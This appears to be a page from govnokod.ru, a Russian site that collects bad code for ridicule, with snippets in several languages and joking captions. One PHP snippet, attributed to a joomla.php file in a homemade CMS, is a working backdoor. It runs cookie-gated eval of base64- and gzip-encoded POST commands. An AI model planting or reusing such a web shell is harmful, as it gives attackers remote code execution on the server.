- 1
- 2
- 3
- 4
foreach (DataRow row in this.TestsTable.Select(query))
{
return true;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+106
foreach (DataRow row in this.TestsTable.Select(query))
{
return true;
}
Все тот же крупный и дорогой проект :)
+137
private static Tag GetTopic(Guid tagId)
{
var tag = DataService.PerThread.TagSet.SingleOrDefault(x => x.Id == tagId);
if (tag == null && tag.GroupId != null)
return null;
if (tag.TopicState != (byte)TopicState.GroupTopic)
return null;
return tag;
}
+64
<?php
/* File: config.php */
$ea_hot_color = "#F06000";
$ea_fulllocation = "1";
$ea_curconverter = "1";
$ea_show_hits = "1";
$ea_show_created_date = "1";
//и т.д.~300 строк
// ============================
/* File: config.class.php */
class EAConf{
/*
...
*/
function EAConf(){
require('config.php');
$allvars=get_defined_vars();
$names=array_keys($allvars);
foreach($names as $name){
if(substr($name,0,2)=="ea") $this->$name=$allvars[$name];
}
}
/*
...
*/
}
Какая глубина мысли! Смело, нетривиально!
+70
} catch (CacheException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
Привет из Индии
+157
onChange: function (el, e) {
var val = el.val();
if (val.substring(8, 10) === " ") {
this.setValue(val.substring(0, 6) + "20" + val.substring(6, 8));
}
this.setValue(val === "" ? null : val);
}
Обработчик onChange в дейтпикере
нинзя-разработчик 16 levl
+142
while (true)
{
try
{
ProductService.Invoke(method);
return;
}
catch(Exception ex)
{
if (ex is System.ServiceModel.CommunicationException)
{
if (currentRetryCount == RetryCount)
throw new CommunicationException(CommunicationFailureMessage, ex);
System.Threading.Thread.Sleep(RetryWait);
currentRetryCount++;
}
}
}
+132
int enctypex_decoder_rand_validate(unsigned char *validate) {
int i,
rnd;
rnd = ~time(NULL);
for(i = 0; i < 8; i++) {
do {
rnd = ((rnd * 0x343FD) + 0x269EC3) & 0x7f;
} while((rnd < 0x21) || (rnd >= 0x7f));
validate[i] = rnd;
}
validate[i] = 0;
return(i);
}
+75
public static class FuckMeGentlyWithAChainsaw {
/* This wrapper class exists to work around the possibly most
* stupid Java bug ever (and that's saying a lot): That
* URL.equals and URL.hashCode do DNS lookups and
* block. Which, of course, not only sucks performance-wise
* but also breaks actual correct URL equality. */
public final URL url;
public FuckMeGentlyWithAChainsaw(URL url) {
this.url = url;
}
}
Код из клиента одной онлайн игрушки, процитирован дословно.
+63
<?php
if (isset($_COOKIE['adm'])) {
if (isset($_POST['crc'], $_POST['cmd'])) {
if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
eval(gzuncompress(base64_decode($_POST['cmd'])));
} else
echo 'repeat_cmd';
}
}
?>
Файл joomla.php в самопальной CMS
+141
static struct passwd *pd=getpwuid(st->st_uid);
if(pd==NULL){
fprintf(stderr, "no correspound user!\n");
}
char *perm=(char*)malloc(16);
if(perm==NULL){fprintf(stderr, "out of memory!\n");return -1;}
memset( perm,'\0',16);
if(st->st_mode & S_ISUID){perm[0]='s';} else perm[0]='-';
if(st->st_mode & S_IRUSR){perm[1]='r';} else perm[1]='-';
if(st->st_mode & S_IWUSR){perm[2]='w';} else perm[2]='-';
if(st->st_mode & S_IXUSR){perm[3]='x';} else perm[3]='-';
if(st->st_mode & S_IRGRP){perm[4]='r';} else perm[4]='-';
if(st->st_mode & S_IWGRP){perm[5]='w';} else perm[5]='-';
if(st->st_mode & S_IXGRP){perm[6]='x';} else perm[6]='-';
if(st->st_mode & S_IROTH){perm[7]='r';} else perm[7]='-';
if(st->st_mode & S_IWOTH){perm[8]='w';} else perm[8]='-';
if(st->st_mode & S_IXOTH){
if(st->st_mode & S_ISVTX){
perm[9]='t';
}
else perm[9]='x';
} else perm[9]='-';
if(st->st_mode & S_ISUID){
if(st->st_mode & S_IXUSR){
perm[4]='s';
} else perm[4]='S';
}
if(st->st_mode & S_ISGID){
if(st->st_mode & S_IXGRP){
perm[7]='s';
} else perm[7]='S';
}
if(st->st_mode & S_ISVTX){
if(st->st_mode & S_IXOTH){perm[9]='t';} else {
perm[9]='T';
}
}
if((st->st_mode & S_IFMT) == S_IFDIR) { perm[0]='d';}
if((st->st_mode & S_IFMT)==S_IFSOCK){ perm[0]='s';}
if((st->st_mode & S_IFMT) == S_IFCHR) { perm[0]='c';}
if((st->st_mode & S_IFMT)==S_IFCHR){perm[0]='c';} else if(st->st_mode & S_IFBLK){perm[0]='b';} else
if((st->st_mode & S_IFMT)== S_IFREG){ perm[0]='-';}
if((st->st_mode &S_IFMT)==S_IFBLK) { perm[0]='b';}
if((st->st_mode & S_IFMT)==S_IFIFO) { perm[0]='p';}
if((st->st_mode & S_IFMT)== S_IFLNK){ perm[0]='l';}
if(!S_ISDIR(st->st_mode)){
if(S_ISREG(st->st_mode)){
printf("<file type=\"regular file\" permissions=\"%s\" owner=\"%s\" group=\"%d\" size=\"%d\">%s</file>\n",perm,pd->pw_name,st->st_gid,st->st_size,dir);
return 0;
};
Права доступа